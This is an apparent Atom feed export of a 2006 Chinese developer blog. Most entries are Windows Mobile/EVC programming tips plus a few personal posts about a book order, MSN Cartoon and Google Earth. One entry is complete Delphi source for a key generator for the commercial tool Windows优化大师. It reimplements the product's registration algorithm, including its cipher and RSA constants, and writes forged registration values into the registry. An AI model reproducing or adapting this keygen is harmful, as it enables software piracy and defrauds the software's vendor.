&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; CString strDeviceInfo;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; for (unsigned int i = 0; i&lt;dwOutBytes; i++) <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; {<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;CString strNextChar;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strNextChar.Format(TEXT("%02X"), arrOutBuff);<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo += strNextChar;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; }<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; CString strDeviceId = <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo.Mid(40,2) + <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo.Mid(45,9) + <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo.Mid(70,6);<BR><BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; return strDeviceId;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;} <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;else<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; return _T("");<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}<BR>}</SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=298" /> 
	  <id>http://www.openx.cn/default.asp?id=298</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MFC PocketPC应用程序全屏方法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-06-17T18:44:05+08:00</updated>
	  <published>2006-06-17T18:44:05+08:00</published>
		  <summary type="html"><![CDATA[<SPAN style="FONT-SIZE: 12px">基于对话框的MFC PocketPC应用程序全屏方法<BR><BR>1.需要将整个窗口向上平移26个像素以到达屏幕顶部，同时使用SHFullScreen()函数隐藏任务栏；<BR><BR>&nbsp;&nbsp;在OnInitDialog()函数中添加如下语句：<BR>&nbsp;&nbsp;RECT rc;<BR>&nbsp;&nbsp;GetWindowRect(&rc);<BR>&nbsp;&nbsp;rc.top-=26;<BR>&nbsp;&nbsp;MoveWindow(rc.left,rc.top,rc.right,rc.bottom,FALSE); //上移26像素<BR>&nbsp;&nbsp;SHFullScreen(this-&gt;m_hWnd,SHFS_HIDETASKBAR); //隐藏任务栏<BR><BR>2.防止使用Input Panel时任务栏出现；<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;说明，依据MSDN，在Input Panel活动时会发送WM_SETTING_CHANGE和WM_ACTIVATE两个消息。需要手工接管两个消息的处理保持全屏。<BR>&nbsp;&nbsp;MFC类中，CDialog类由CWnd类直接派生，所以这里可以直接手工添加函数。<BR><BR>&nbsp;&nbsp;在主程序的对话框类*Dlg.h头文件中这个位置，加入这两项(声明这两个函数)：<BR>&nbsp;&nbsp;// Implementation<BR>&nbsp; &nbsp;protected:<BR>&nbsp; &nbsp; &nbsp; &nbsp; HICON m_hIcon;<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; // Generated message map functions<BR>&nbsp; &nbsp; &nbsp; &nbsp; //{{AFX_MSG(CFullScreenDialogDlg)<BR>&nbsp; &nbsp; &nbsp; &nbsp; virtual BOOL OnInitDialog();<BR>&nbsp; &nbsp; &nbsp; &nbsp; virtual void OnSettingChange();&nbsp;&nbsp;=====================================&gt;1<BR>&nbsp; &nbsp; &nbsp; &nbsp; afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);&nbsp;&nbsp;=========&gt;2<BR>&nbsp; &nbsp; &nbsp; &nbsp; //}}AFX_MSG<BR>&nbsp; &nbsp; &nbsp; &nbsp; DECLARE_MESSAGE_MAP()<BR>&nbsp; &nbsp;<BR>&nbsp;&nbsp;在主程序的对话框类*Dlg.cpp实现文件中做如下修改:<BR>&nbsp;&nbsp;(1)在消息映射处加入<BR>&nbsp;&nbsp;BEGIN_MESSAGE_MAP(CFullScreenDialogDlg, CDialog)<BR>&nbsp; &nbsp; &nbsp; &nbsp; //{{AFX_MSG_MAP(CFullScreenDialogDlg)<BR>&nbsp; &nbsp; &nbsp; &nbsp; ON_WM_SETTINGCHANGE()&nbsp;&nbsp;========================================&gt;1<BR>&nbsp; &nbsp; &nbsp; &nbsp; ON_WM_ACTIVATE()&nbsp;&nbsp;============================================&gt;2<BR>&nbsp; &nbsp; &nbsp; &nbsp; //}}AFX_MSG_MAP<BR>&nbsp;&nbsp;END_MESSAGE_MAP()<BR><BR>&nbsp;&nbsp;手工添加这两个函数:<BR>&nbsp;&nbsp;void CFullScreenDialogDlg::OnSettingChange()<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;void CFullScreenDialogDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized) <BR>&nbsp;&nbsp;{<BR>&nbsp; &nbsp; &nbsp; &nbsp; CWnd::OnActivate(nState, pWndOther, bMinimized);&nbsp;&nbsp;//注意这里从CWnd继承&nbsp; &nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; &nbsp; SHFullScreen( this-&gt;m_hWnd, SHFS_HIDETASKBAR);<BR>&nbsp;&nbsp;}<BR><BR>经过这样的修改,无论是使用Input Panel,还是热键运行其他程序后返回,都能够保持全屏。<BR><BR>附加：<BR>&nbsp; &nbsp; 如果有开发者希望屏蔽按下Esc和Enter键的退出，还需要添加这个PreTranslateMessage函数<BR><BR>&nbsp; &nbsp; BOOL CFullScreenDialogDlg::preTranslateMessage(MSG* pMsg)<BR>&nbsp; &nbsp; {<BR>&nbsp; &nbsp;&nbsp; &nbsp; if(pMsg-&gt;message==WM_KEYDOWN)<BR>&nbsp; &nbsp;&nbsp; &nbsp; {<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if(pMSg-&gt;wParam==VK_RETURN) return TRUE; //回车键<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if(pMsg-&gt;wParam==VK_ESCAPE) return TRUE;<BR>&nbsp; &nbsp;&nbsp; &nbsp; }<BR>&nbsp; &nbsp;&nbsp; &nbsp; return CDialog::preTranslateMessage(pMsg);<BR>&nbsp; &nbsp; }</SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=297" /> 
	  <id>http://www.openx.cn/default.asp?id=297</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[丫丫的~书终于到了~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-16T17:37:54+08:00</updated>
	  <published>2006-06-16T17:37:54+08:00</published>
		  <summary type="html"><![CDATA[<P>话说2006-5-29 14:02:21在卓越订购了本 windows mobile 手机应用开发</P>
<P>再到今天2006年6月16 16:30:xx收到这书,耗时半个月之久~哈哈</P>
<P>本来想在淘宝买的,但书这东西盗版严重,万一碰到盗版的退货来回运费就亏大咯.</P>
<P>后面还是选择了 卓越(他们网站打着amazon.com旗下哦)满相信了他们.</P>
<P>结果订购后的7天吧订单被退订了,还没有任何通知给我.打电话才发现居然没有800电话打.</P>
<P>丫丫的用手机打长途还好偶手机话费便宜.那个客服态度实在不怎么的.</P>
<P>后面还是再订购了一次.</P>
<P>到了今天才收到~呼呼~</P>
<P>&nbsp;</P>
<P>看到卓越也不怎么的,中国的网购事业任重道远哦~</P>
<P>&nbsp;</P>
<P>再怎么的终于收到书了~吼吼~以后买书还是要去书店买~网购也便宜不到几块钱~嘎嘎~.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=296" /> 
	  <id>http://www.openx.cn/default.asp?id=296</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Windows优化大师注册机源码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-15T20:32:19+08:00</updated>
	  <published>2006-06-15T20:32:19+08:00</published>
		  <summary type="html"><![CDATA[<DIV id=world>
<P><FONT face=Verdana>unit Unit1;</FONT></P>
<P><FONT face=Verdana>interface</FONT></P>
<P><FONT face=Verdana>uses<BR>Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,<BR>Dialogs, Registry, StdCtrls, Buttons;</FONT></P>
<P><FONT face=Verdana>type<BR>TForm1 = class(TForm)<BR>Label1: TLabel;<BR>Label2: TLabel;<BR>Edit1: TEdit;<BR>Edit2: TEdit;<BR>Label3: TLabel;<BR>Edit3: TEdit;<BR>GetKeySpeedButton: TSpeedButton;<BR>CheckBox1: TCheckBox;<BR>Label4: TLabel;<BR>procedure GetKeySpeedButtonClick(Sender: TObject);<BR>procedure CheckBox1Click(Sender: TObject);<BR>private<BR>{ Private declarations }<BR>public<BR>{ Public declarations }<BR>end;</FONT></P>
<P><FONT face=Verdana>var<BR>Form1: TForm1;<BR>Family, Model, Stepping: Byte;</FONT></P>
<P><FONT face=Verdana>implementation</FONT></P>
<P><FONT face=Verdana>{$R *.dfm}</FONT></P>
<P><FONT face=Verdana>//获得CPU信息的过程，用汇编代码写的<BR>procedure GetCpuID;<BR>asm<BR>PUSH EAX<BR>MOV EAX, 1<BR>DW $A20F //汇编指令CPUID的机器代码<BR>MOV Stepping, AL<BR>AND Stepping, 0FH //取得CPU STEPPING数送入到变量Stepping中<BR>AND AL, 0F0H<BR>SHR AL, 4<BR>MOV Model, AL //取得CPU MODEL数送入到变量Model中<BR>SHR AX, 8<BR>AND AL, 0FH<BR>MOV Family, AL //取得CPU FAMILYG数送入到变量Family中<BR>POP EAX<BR>end;</FONT></P>
<P><FONT face=Verdana>//RSA的加密和解密函数，等价于(m^e) mod n（即m的e次幂对n求余）<BR>function Encrypt_Decrypt(m: Int64; e: Int64=$2C86F9; n: Int64=$69AAA0E3): Int64;<BR>var<BR>a, b, c: Int64;<BR>begin<BR>a:=m;<BR>b:=e;<BR>c:=1;<BR>while b&lt;&gt;0 do<BR>if (b mod 2)=0<BR>then begin<BR>b:=b div 2;<BR>a:=(a * a) mod n;<BR>end<BR>else begin<BR>b:=b - 1;<BR>c:=(a * c) mod n;<BR>end;<BR>Result:=c;<BR>end;</FONT></P>
<P><FONT face=Verdana>procedure TForm1.GetKeySpeedButtonClick(Sender: TObject);<BR>var<BR>ID, UserName, CpuVer: String;<BR>s: Array [1..4] of Cardinal;<BR>temp, Num1, Num2: Cardinal;<BR>Code1, Code2: Int64;<BR>i, ascii: Byte;<BR>Reg: TRegistry;<BR>begin<BR>if (Edit1.Text='') and (CheckBox1.Checked=False)<BR>then Application.MessageBox('请输入注册申请码！', '警告', MB_OK);<BR>if (Edit1.Text='') and (CheckBox1.Checked=True)<BR>then Application.MessageBox('请输入注册者姓名！', '警告', MB_OK);<BR>if (CheckBox1.Checked=true) and (Edit1.Text&lt;&gt;'')<BR>then begin<BR>UserName:=Edit1.Text; //从Edit1.Text中取得用户名<BR>GetCpuID; //调用过程GetCpuID<BR>CpuVer:='Level '+IntToStr(Family)+' Rev. '+IntToStr(Model)+'.'+IntToStr(Stepping);<BR>temp:=1;<BR>i:=1;<BR>while UserName[i]&lt;&gt;#0 do begin<BR>ascii:=ord(UserName[i]); //函数ord()的作用为取得字符的ASCII码<BR>temp:=(temp*ascii+$D0878) mod $F4240;<BR>inc(i);<BR>end;<BR>i:=1;<BR>while CpuVer[i]&lt;&gt;#0 do begin<BR>ascii:=ord(CpuVer[i]);<BR>temp:=(temp*ascii+$2597D) mod $F4240;<BR>inc(i);<BR>end;<BR>ID:=IntToStr(temp);<BR>end;<BR>if (CheckBox1.Checked=false) and (Edit1.Text&lt;&gt;'')<BR>then ID:=Edit1.Text;<BR>ID:=ID+'1234567';<BR>SetLength(ID, 8); //把字符串ID长度变为8个，并把后面的字符截掉</FONT></P>
<P><FONT face=Verdana>//下面四行语句是把字符串'You are big pig.'的内存数据送到变量s中<BR>s[1]:=$20756f59;<BR>s[2]:=$20657261;<BR>s[3]:=$20676962;<BR>s[4]:=$2e676970;<BR>Num1:=0;<BR>for i:=4 downto 2 do<BR>Num1:=(Num1+ord(ID[i])) shl 8;<BR>Num1:=Num1+ord(ID[1]);<BR>Num2:=0;<BR>for i:=8 downto 6 do<BR>Num2:=(Num2+ord(ID[i])) shl 8;<BR>Num2:=Num2+ord(ID[5]);<BR>temp:=0;<BR>for i:=1 to 32 do begin<BR>temp:=temp+$9E3779B9;<BR>Num1:=Num1+(Num2 shl 4)+(s[1] xor Num2)+((Num2 shr 5) xor temp)+s[2];<BR>Num2:=Num2+(Num1 shl 4)+(s[3] xor Num1)+((Num1 shr 5) xor temp)+s[4];<BR>end;</FONT></P>
<P><FONT face=Verdana>Code1:=(Num1 mod $40000000) + 2;<BR>Code2:=($93E0014 shl 2)+ Num1 div $40000000 + 2;<BR>Code1:=Encrypt_Decrypt(Code1);<BR>code2:=Encrypt_Decrypt(Code2);<BR>if (CheckBox1.Checked=False) and (Edit1.Text&lt;&gt;'')<BR>then begin<BR>Edit2.Text:=IntToHex(Code1, 8);<BR>Edit3.Text:=IntToHex(Code2, 8);<BR>end;<BR>if (CheckBox1.Checked=True) and (Edit1.Text&lt;&gt;'')<BR>then begin<BR>Reg:=TRegistry.Create;<BR>Reg.RootKey:=HKEY_LOCAL_MACHINE;<BR>if Reg.OpenKey('Software/Wom', True)<BR>then begin<BR>Reg.DeleteValue('Masters');<BR>Reg.WriteString('Register', UserName);<BR>Reg.WriteString('Register_1', IntToHex(Code1, 8));<BR>Reg.WriteString('Register_2', IntToHex(Code2, 8));<BR>end;<BR>Reg.Free;<BR>Application.MessageBox('自动注册完成！', '信息', MB_OK);<BR>end;<BR>end;</FONT></P>
<P><FONT face=Verdana>procedure TForm1.CheckBox1Click(Sender: TObject);<BR>begin<BR>if CheckBox1.Checked=true<BR>then begin<BR>GetKeySpeedButton.Caption:='自动注册';<BR>Label1.Caption:='注册者姓名';<BR>Edit1.MaxLength:=0;<BR>Label2.Visible:=false;<BR>Label3.Visible:=false;<BR>Edit2.Visible:=false;<BR>Edit3.Visible:=false;<BR>end<BR>else begin<BR>GetKeySpeedButton.Caption:='取得注册码';<BR>Label1.Caption:='注册申请码';<BR>Edit1.MaxLength:=8;<BR>Label2.Visible:=true;<BR>Label3.Visible:=true;<BR>Edit2.Visible:=true;<BR>Edit3.Visible:=true;<BR>end;<BR>end;</FONT></P>
<P><FONT face=Verdana>end.</FONT></P></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=295" /> 
	  <id>http://www.openx.cn/default.asp?id=295</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[about CString of EVC]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-06-14T17:39:36+08:00</updated>
	  <published>2006-06-14T17:39:36+08:00</published>
		  <summary type="html"><![CDATA[<SPAN class=unnamed3><FONT face=宋体>EVC在某种意义上说，相当于VC的一个子集。因为大多EVC有的功能，VC也具备，而VC有的功能，EVC则不一定拥有。在VC中，操作字符串很方便，因为WINDOWS的字处理能力实在是很强大，它支持多种字符集。我们随便使用一个CString str=“你好”，就要以输入我们想要的中文字符串。在EVC中这种情况有所改变，因为WINCE的字处理能力不够强大，它在处理汉字里统一将它示为UNICODE编码，所以我们在EVC中片理中文字符串时需要用到UNICODE编码。下面结合WINDOWS 下VC字符串的处理，对比一下EVC中文字符串的片理方法。<BR><BR>一、中文字符串定义<BR>1、在VC中我们如果定义一个中文字符串，可以使用CString str=“你好”或LPCTSTR&nbsp; str=“你好”。<BR>2、在EVC中我们如果想定义一个中文字符串，可以使用如下方法：CString str=_T(“你好”)或者LPCTSTR&nbsp; str=“你好”，这里LPCTSTR在EVC里就是表示UNICODE字符串。值得注意的是_T（）宏中，括号中只能填写常量，不能填定变量。<BR>二、字符串操作<BR>1、在VC中我们想拷贝字符串，可以作如下操作：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char s[20];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString str=“你好”;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(s,str);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在EVC中则不能这样做，首先定义中文数组应该用双字节指针wchar_t，而拷贝函数也不能用strcpy，而应该用：wchar_t * wcscpy(wchar_t * wDest,wchar_t wSource);函数，操作如下：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wchar_t s[20];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString str=“你好”;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wcscpy(s,(LPCTSTR)str); //前面没有转成UNICODE编码，所以这里需要强制转换<BR>2、在VC中我们想在一个字符串中查找某个子串，只需要作下面的操作：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString str=“你是一个好学生”；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str.Find(“学生”);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在EVC中不能这样做，因为中文字符串为UNICODE编码，我们必需在查找函数的参数里作如下修改：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str.Find(_T(“学生”));</FONT><BR></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=294" /> 
	  <id>http://www.openx.cn/default.asp?id=294</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[PocketPC - EVC开发技巧大集合！]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-06-14T17:35:27+08:00</updated>
	  <published>2006-06-14T17:35:27+08:00</published>
		  <summary type="html"><![CDATA[<P>//Hard Reset！</P>
<P>#include &lt;winioctl.h&gt;</P>
<P>#define IOCTL_HAL_REBOOT CTL_CODE(FILE_DEVICE_HAL, 15, METHOD_BUFFERED, FILE_ANY_ACCESS)</P>
<P>extern "C" __declspec(dllimport)void SetCleanRebootFlag(void);</P>
<P>extern "C" __declspec(dllimport) BOOL KernelIoControl(<BR>DWORD dwIoControlCode, <BR>LPVOID lpInBuf, <BR>DWORD nInBufSize, <BR>LPVOID lpOutBuf, <BR>DWORD nOutBufSize, <BR>LPDWORD lpBytesReturned);</P>
<P>BOOL HardResetPocketPC()<BR>{<BR>SetCleanRebootFlag();<BR>return KernelIoControl(IOCTL_HAL_REBOOT, NULL, 0, NULL, 0, NULL);<BR>}</P>
<P>////////////////////////////////////////////////////</P>
<P>//全屏<BR>void FullScreen(HWND hDlg)<BR>{<BR>RECT rc;<BR>GetWindowRect(hDlg, &rc);&nbsp;&nbsp;<BR>SHFullScreen(hDlg, SHFS_HIDETASKBAR | SHFS_HIDESIPBUTTON | SHFS_HIDESTARTICON);<BR>MoveWindow( hDlg, rc.left, rc.top, rc.right,&nbsp;&nbsp;rc.bottom, TRUE);&nbsp;&nbsp; <BR>}</P>
<P>//类似参数要注意SHFS_HIDETASKBAR HIDE为隐藏、SHOW为显示</P>
<P>////////////////////////////////////////////////////</P>
<P><BR>//WinSDK编程 显示隐藏光标</P>
<P>int&nbsp;&nbsp;nWaitCursorCount; //光标记数器</P>
<P>/******************************************************<BR>*显示隐藏光标nCode=1为显示,-1为隐藏<BR>*****************************************************/<BR>void SHCursor(int nCode)<BR>{<BR>&nbsp;&nbsp;&nbsp;&nbsp;static HCURSOR cur;<BR>&nbsp;&nbsp;&nbsp;&nbsp;static BOOL bo=true;<BR>if (bo) <BR>{<BR>&nbsp;&nbsp;cur = ::LoadCursor(NULL, IDC_WAIT);<BR>&nbsp;&nbsp;bo = false;<BR>}<BR>m_nWaitCursorCount += nCode;<BR>if (m_nWaitCursorCount &gt; 0)<BR>{<BR>&nbsp;&nbsp;HCURSOR hcurPrev = ::SetCursor(cur);<BR>&nbsp;&nbsp;if (nCode &gt; 0 && m_nWaitCursorCount == 1)<BR>&nbsp;&nbsp; m_hcurWaitCursorRestore = hcurPrev;<BR>}<BR>else<BR>{<BR>&nbsp;&nbsp;// turn everything off<BR>&nbsp;&nbsp;m_nWaitCursorCount = 0;&nbsp;&nbsp;&nbsp;&nbsp; // prevent underflow<BR>&nbsp;&nbsp;::SetCursor(m_hcurWaitCursorRestore);<BR>}<BR>}</P>
<P>/******************************************************<BR>*开始显示光标<BR>*****************************************************/<BR>void BeginCursor()<BR>{<BR>m_nWaitCursorCount = 0;<BR>SHCursor(1);<BR>}</P>
<P>/******************************************************<BR>*结束显示光标<BR>*****************************************************/<BR>void EndCursor()<BR>{<BR>m_nWaitCursorCount = 0;<BR>SHCursor(-1);<BR>}</P>
<P>//////////////////////////////////////////////////////////</P>
<P>//调用其它程序</P>
<P>/******************************************************<BR>*打开其它应用程序<BR>*****************************************************/<BR>void Shell(HWND hWnd,LPTSTR ProPath)<BR>{<BR>int ret;<BR>&nbsp;&nbsp;&nbsp;&nbsp;LPTSTR exec = (LPTSTR)malloc(MAX_PATH);<BR>&nbsp;&nbsp;&nbsp;&nbsp;SHELLEXECUTEINFO shi;<BR>&nbsp;&nbsp;&nbsp;&nbsp;exec = ProPath;<BR>&nbsp;&nbsp;&nbsp;&nbsp;shi.cbSize = sizeof(SHELLEXECUTEINFO);<BR>&nbsp;&nbsp;&nbsp;&nbsp;shi.lpVerb = TEXT("open");<BR>&nbsp;&nbsp;&nbsp;&nbsp;shi.lpFile = exec;<BR>&nbsp;&nbsp;&nbsp;&nbsp;shi.nShow = SW_SHOWNORMAL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;ret = ShellExecuteEx(&shi);<BR>}</P>
<P>////////////////////////////////////////////////////////</P>
<P>//WINSDK 弹出式菜单</P>
<P>/******************************************************<BR>*弹出菜单<BR>*****************************************************/<BR>VOID APIENTRY PopupMenu ( HWND hWnd, POINT point, int IDM)<BR>{<BR>&nbsp;&nbsp;HMENU hMenu;<BR>&nbsp;&nbsp;HMENU hMenuTrackPopup;<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;// 得到弹出菜单资源<BR>&nbsp;&nbsp;hMenu = LoadMenu (ghInst, MAKEINTRESOURCE(IDM));<BR>&nbsp;&nbsp;if (!hMenu)<BR>&nbsp;&nbsp;&nbsp;&nbsp;return;</P>
<P>&nbsp;&nbsp;hMenuTrackPopup = GetSubMenu (hMenu, 0);&nbsp;&nbsp;<BR>&nbsp;&nbsp;ClientToScreen (hWnd, (LPPOINT)&point);&nbsp;&nbsp;<BR>&nbsp;&nbsp;TrackPopupMenu (hMenuTrackPopup, 0, point.x, point.y, 0, hWnd, NULL);<BR>&nbsp;&nbsp;DestroyMenu (hMenu);<BR>}</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=293" /> 
	  <id>http://www.openx.cn/default.asp?id=293</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[MSN Cartoon (BETA)可以弄照片为卡通的哦~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-14T12:59:10+08:00</updated>
	  <published>2006-06-14T12:59:10+08:00</published>
		  <summary type="html"><![CDATA[<BR><A href="http://www.yupoo.com/view/88792bc5d5494753912ea13c1fed6c8a" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_280833464_m.jpg" border=0></A><A href="http://www.yupoo.com/view/5e5309b1fa30413e8d347d56a507ad9c" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_1760242966_m.jpg" border=0></A><BR><A href="http://www.yupoo.com/view/33fa657661a74234a92c9fc3975e1c73" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_1487112325_m.jpg" border=0></A><A href="http://www.yupoo.com/view/e65e94f239474adda3a1019fd2ee0023" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_1613927111_m.jpg" border=0></A><BR><A href="http://www.yupoo.com/view/b2d6c9cafafb49e8938f671bb10d0ab4" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_657871824_m.jpg" border=0></A><A href="http://www.yupoo.com/view/72af3ee3c63846db89b78231a8b0d087" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_783958238_m.jpg" border=0></A><BR><A href="http://www.yupoo.com/view/f8f086b4f4aa4ab98e5cab03022a2a89" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_1340361974_m.jpg" border=0></A><A href="http://www.yupoo.com/view/52e1160c3fcc439ba348dd7260144c8f" target=_blank><IMG src="http://photo7.yupoo.com/20060613/20060613212032_1887041214_m.jpg" border=0></A><BR>只适用于IE用户.<BR>这是投递者的卡通头像以及他的说明:<BR><IMG title="MSN Cartoon effect" height=95 alt="MSN Cartoon effect" src="http://tk.files.storage.msn.com/x1pUr2osLO3XWjT8llsjaLcQrnbQqXsKlmzZ6OAhU6WoUMgjcqgh-NNPjUwqhQFFa-pWLUxQApd4wX2vTwnVqw93wK5BeGr0LhJT0jly5O4TaA" width=96 border=0><BR>使用了一下, 有几点注意事项:<BR>1. 选取图片一定要尽量选择正面, 定位脸部时候要包含下巴等全部脸部区域.<BR>2. 调整脸部的时候曲线会一起动.<BR>3. 添加的配件可以通过再点击一下取消.<BR>4. 可以选择任意的人种模版.<BR><BR><A href="http://cartoon.msn.com.cn/">进入MSN Cartoon(BETA)</A>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=292" /> 
	  <id>http://www.openx.cn/default.asp?id=292</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google Earth出新版咯 (Release 4 - BETA)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-13T10:38:20+08:00</updated>
	  <published>2006-06-13T10:38:20+08:00</published>
		  <summary type="html"><![CDATA[<P><IMG height=431 src="http://earth.google.com/images/callouts.gif" width=525></P>
<P>
<TABLE cellSpacing=1 cellPadding=4 width="100%" border=0>
<TBODY>
<TR>
<TD align=middle width="50%"><IMG height=233 src="http://earth.google.com/images/3dnontexturedlarge.jpg" width=300><BR>之前Earth的只有建模</TD>
<TD align=middle width="50%"><IMG height=233 src="http://earth.google.com/images/3dtexturedlarge.jpg" width=300><BR>现在连贴图都上了</TD></TR></TBODY></TABLE></P>
<P>&nbsp;</P>
<P>赶紧下载:<A href="http://earth.google.com/earth4.html">http://earth.google.com/earth4.html</A></P>
<P>&nbsp;</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=291" /> 
	  <id>http://www.openx.cn/default.asp?id=291</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[刚整了一个自动 转换 翻译 繁简英 的 js]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-09T11:27:34+08:00</updated>
	  <published>2006-06-09T11:27:34+08:00</published>
